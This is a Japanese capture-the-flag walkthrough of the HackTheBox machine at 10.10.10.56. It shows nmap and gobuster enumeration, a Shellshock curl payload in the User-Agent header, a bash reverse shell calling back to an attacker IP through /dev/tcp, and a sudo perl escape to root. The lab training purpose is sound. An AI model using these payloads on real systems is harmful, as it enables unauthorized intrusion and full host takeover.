
CGIディレクトリのファジングによるShellshock (CVE-2014-6271) の悪用と、GTFOBinsを使用した誤設定されたsudo Perl権限による権限昇格を実演する、構造化されたHTBウォークスルー。
構造化されたプロフェッショナルな攻略記事です。Linux ターゲット上で誤って構成された sudo 権限を利用したローカル権限昇格と、その前段階としての重大な Shellshock 脆弱性の特定および手動での悪用プロセスを示します。
10.10.10.56/usr/bin/perl)この評価は、オープンポートのみを対象とした高速な全ポート TCP SYN スキャンから始まります。ホストディスカバリ (-Pn) と DNS 解決 (-n) をバイパスすることで、フットプリンティングを迅速化します。
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
最初のスキャンにより、2 つのアクティブなサービスが明らかになります。積極的なバージョン検出 (-sCV) とスクリプトベースの脆弱性評価を実行するため、対象を絞った 2 回目のスキャンを実施します:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
脆弱性スキャンと並行して、gobuster を使用した Web ディレクトリのブルートフォースを開始し、Apache サーバー上の隠れたリソースをマッピングします。SecLists フレームワークの標準ワードリストを活用します:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
ファジングプロセスにより、インデックス化されていない /cgi-bin/ ディレクトリが特定されます。従来の Web デプロイメントでは、Apache サーバーは Common Gateway Interface(CGI)を利用してサーバーサイドスクリプトを実行します。このマシン名とフォルダの存在を踏まえ、環境変数インジェクションの欠陥の影響を受けやすい実行可能スクリプト(例: .sh、.cgi)を積極的に探します。
さらに列挙を進めると、/cgi-bin/ ディレクトリ内に user.sh という名前のスクリプトが存在することが判明します。
Shellshock(CVE-2014-6271) 脆弱性により、攻撃者は脆弱な Bash インスタンスによって処理される HTTP リクエストヘッダー(User-Agent など)内に悪意のある関数定義を注入することで、任意の OS コマンドを実行できます。
リモートシステムに /usr/bin/id コマンドを強制的に実行させる Proof of Concept(PoC)ペイロードを送信するため、カスタマイズした curl コマンドを作成します:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id コマンドの出力を返し、認証済み相当の未認証 Remote Code Execution(RCE) を検証します。実行ベクトルをインタラクティブセッションへ拡張するため、攻撃プラットフォーム上でローカルの Netcat リスナーを起動します:
nc -lvnp 4444
次に、悪意のある User-Agent ヘッダー内にネイティブ Bash リバースシェル文字列を注入し、TCP 経由のコールバックを強制します:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
実行に成功すると、安定した低権限シェルを取得します:
$ whoami
shelly
システム上で機能するユーザーコンテキストを獲得したため、ローカル制限を監査します。sudo 設定を照会し、shelly ユーザーがパスワードを入力せずに昇格した権限でコマンドを実行できるかどうかを確認します:
sudo -l
出力により、以下の高リスクエントリが明らかになります:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
perl バイナリを root として無制限かつ認証なしで実行できるため、バイナリの制限を簡単に回避できます。GTFOBins を参照すると、実行 ID コンテキスト(root)を維持したまま Perl がネイティブなシステムシェル(/bin/sh)にドロップするよう指示する実行ラッパーが見つかります:
sudo -u root perl -e 'exec "/bin/sh"'
すぐに完全な管理者実行コンテキストを取得します:
# whoami
root
root アクセスが確立されたので、関連するホームディレクトリへ移動し、侵害の証明を取得します。
# Access User Flag
cat /home/shelly/user.txt
# Access Root Flag
cat /root/root.txt
sudo 経由で perl、python、bash などの強力な組み込みインタープリタを無制限に実行する権限を与えると、即座に権限昇格のベクトルが生まれます。Sudo アクセスは、非対話型で高度に制御された管理スクリプトに限定する必要があります。